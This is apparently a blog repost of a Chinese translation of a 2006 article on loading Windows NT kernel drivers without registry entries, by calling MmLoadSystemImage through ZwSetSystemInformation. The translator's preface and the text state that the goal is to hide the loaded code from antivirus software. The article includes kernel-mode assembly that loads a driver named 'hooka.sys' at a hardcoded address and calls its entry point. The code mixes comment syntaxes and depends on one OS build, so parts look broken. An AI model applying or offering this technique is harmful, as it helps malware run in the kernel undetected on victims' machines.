不经过注册表的情况下加载驱动

http://blog.mmbest.com/?6576
发布时间2006年10月26日  翻译发布:2006年10月29日

译者按:本文提供了一种在win NT下悄声无息的加载“驱动”的方法。这里所将的“驱动”并不是指平常的驱动,而是指将程序载入系统的内核中,采用该方式将不通过任何注册表项,因此将无法使用任何方法(包括各种杀毒软件)查出这一加载项,达到隐藏自身的目的。为了翻译的方便,本人暂将里面提到的Driver直接译作“驱动”,本人E文也不是很好,之所以翻译这篇文章是想给大家提供以下参考。错译之处在所难免,希望各位兄台多多批评指正。

译文:

 “怎样在不经过注册表的情况下加载驱动”,这是很多人常常问到的一个问题。现在,我们一起来分析WINDOWS操作系统是怎样加载驱动的,既而找到一种实现加载驱动而不通过注册表的办法。
     我们必须注意到即使我们在对系统内核进行溢出的过程中,你仍然无法让其加载任何驱动因为几乎所有的防毒措施都会监控WINDOWS系统内核调用的API(这些API就是让系统写入特殊注册地址的)
     加载驱动的第一种方法通常为:
     WIN NT利用函数ZwLoadDriver实现加载驱动。
     它的描述如下:

NTSTATUS ZwLoadDriver (IN PUNICODE_STRING DriverServiceName);

驱动服务名称:指定一个Unicode字符串以区分驱动的注册键值,/Registry/Machine/System/CurrentControlSet/Services/DriverName,DriverName就是该驱动的名称。

第二种方法如下:

一般情况下win2000启动后会开始加载特别的驱动win2k.sys。然而它并不是以其他驱动那样调用函数ZwLoadDriver, NtLoadDriver等。
事实上它是通过内核API函数ZwSetSystemInformation载入的。
该API通常用来设置类似文件分卷等系统信息,以及加载上面提到的驱动,文件缓存等等。

该函数调用方法如下:

ZwSetSystemInformation(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
                                                                                                  //识别操作指令
IN PVOID SystemInformation,         //识别操作数
IN ULONG SystemInformationLength )  //识别数据长度

其内部调用方法如下:

Switch (SystemInformationClass)
                      Case 0:
                     
                      Case 1:
                      .
                      .
                      .
                      Case 5:     ;this actually extends the system service descrīptor table
                               .
                               .
                       .          
                               MmLoadSystemImage(SystemInforMation,NULL,NULL,TRUE,imagehandle,baseaddress);
                              
                               call entrypoint(driverobject,NULL)   ;
                              
                               break     ; 
                         case 6:     
                        .
                        .
                        .
                        .
                        .


上述的两种方法是我们现在已知的两种加载驱动的方式。

下面是第三种方式(针对该方法目前没有防毒措施对其进行监控因此它将是安全的)

像上面所讲的那样,ZwSetSystemInfomation加载镜像函数从而将驱动载入内存然后调用它的入口点。

现在我们将具体地分析MmLoadSystemImage函数的参数。

MmLoadSystemImage(UNICODE STRING Imagepath, UNICODE STRING  prefix optional,UNICODE STRING basename optional,
                      ULONG unknown=0,PVOID imagehandle,PVOID baseaddress); 

ImagePath:windows下的路径
prefix :用在载入驱动的路径名前
basename:系统在加载组件后显示的名称
unknown:未知
*imagehandle:段指针(这是已经被提交的)
*baseaddress:镜像载入内核内存后的地址

该函数实际上就是扮演着加载镜像入驱动,解决导入等的一些问题的角色。

在对windows平台下进行调试的过程中,你可以找出使用d MmLoadSystemImage字段函数的地址。

注意:MmLoadSystemimage在将镜像载入内存后会继续内部调用和检查镜像,所以我们必须保证检查后的结果是正确的。这个过程由MiCheckSystemImage实现。实现导入工作以及加载附属的则是依靠函数MiResolveImageReferences来完成。

函数MmloadSystemimage按照如下流程工作:

1)扫描存在的组件清单以确保它已经被载入
2) 如果镜像已经存在,则返回错误,提示镜像已经存在
3)尝试使用函数Zwopenfile打开文件,如果文件不能被打开,则返回错误代码
4)计算镜像的检查结果并将其与储存在头文件里的结果进行比较
5)如果不相符则返回错误
6)使用函数Zwcreatesection建立一个段然后将其作为参考
7)使用函数mMapViewInSystemSpace给其指定内核空间
8)在必要的时候使用LdrRelocateImage对镜像进行重定向
9) 调用用函数MiResolveImageReferences对镜像参考
10)为组件建立已加载组件清单
11)给其加上写保护
12) 关闭文件指针
13)返回


现在我们有了一个加载镜像的函数,但是调用驱动的入口问题却没有解决。我们可以从载入镜像后的PE头文件自身那里找到相关信息。这个方法可以用来直接在内核中加载和执行驱动,本地应用程序等。

下面给出的是内核下的汇编代码。在windowsXP SP0 英文版下测试通过。在理论上也可以在win2000,xp,2003下执行。


  __asm {
              
              
               ;下面的代码将驱动载入内存
loaddriver:
        mov dword [Stack],esp               //save stack
       
        ;paramters as always are passed in reverse
        push DWORD Driverbase              ;存储驱动基址
        push DWORD ImageHandle             ;存储段指针
        push dword 0              
        push dword 0
        push dword 0
        push DWORD U_STRINGloc              ;指向一个unicode字串 ,包括将要加载的驱动


        mov edi, 0x805c03ae       ;MmLoadSystemImage 函数的地址,在Win XP SP0英文版下随着操作系统版本不同这一地址将发生变化
        call edi
        cmp eax,0                 ;检查驱动是否成功载入内存
        jne   drivernotloaded    ; 如果失败,则直接退出
       
         ;驱动载入后  调用其内置函数,所有参数置零
        mov DWORD edi, [Driverbase]
        mov DWORD ebx ,[edi + 0x3c]      ;获取optional header的偏移量
        mov dword ebx,[edi + ebx + 0x18 + 0x10]   ;  从代码基址中获取入口地址的偏移量   
        add edi ,ebx                        ; 将基址和偏移量相加,得到入口点内存中的物理地址
        push 0 ;
        push 0
        call edi  ;call entry point     (驱动入口点,驱动不同入口点将有变化)


        drivernotloaded:
        mov dword esp,[ Stack]            ;  纠正堆栈使得可以继续执行
       
        ret


      
       ; 下面是各种所需的代码数据
      

; 下面是将要加载的驱动的路径

;DosDevices@:hooka.sys  length  48
db 0x5c,0x00,0x44,0x00,0x6f,0x00,0x73,0x00,0x44,0x00,0x65,0x00,0x76,0x00,0x69,0x00,0x63,0x00,0x65,0x00,0x73,0x00,0x5c,0x00
db 0x42,0x00,0x3a,0x00,0x5c,0x00,0x68,0x00,0x6f,0x00,0x6f,0x00,0x6b,0x00,0x61,0x00,0x2e,0x00,0x73,0x00,0x79,0x00,0x73,0x00,0x00,0x00

;储存驱动基址
Driverbase:
dd 0
;储存段指针
ImageHandle:
dd 0;

;储存堆栈地址
Stack:
dd 0

;在内存中构建 unicode字串
struc U_STRING
Length: resw 1
MaximumLength: resw 1
Buffer: resd 1
endstruc

}

//汇编结束


注意:这些API函数并不是由windows操作系统的内核导出的,但他们确实有内核方面的用途。这些函数并没有被任何反病毒软件监控,所以它们可以用来加载驱动或者本地应用程序然后运行。

这就是我们所说的在内核模式下不通过注册表加载驱动的方式,当然,这些代码可能存在一些错误,但是目前为止还没有发现硬件上的错误  

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值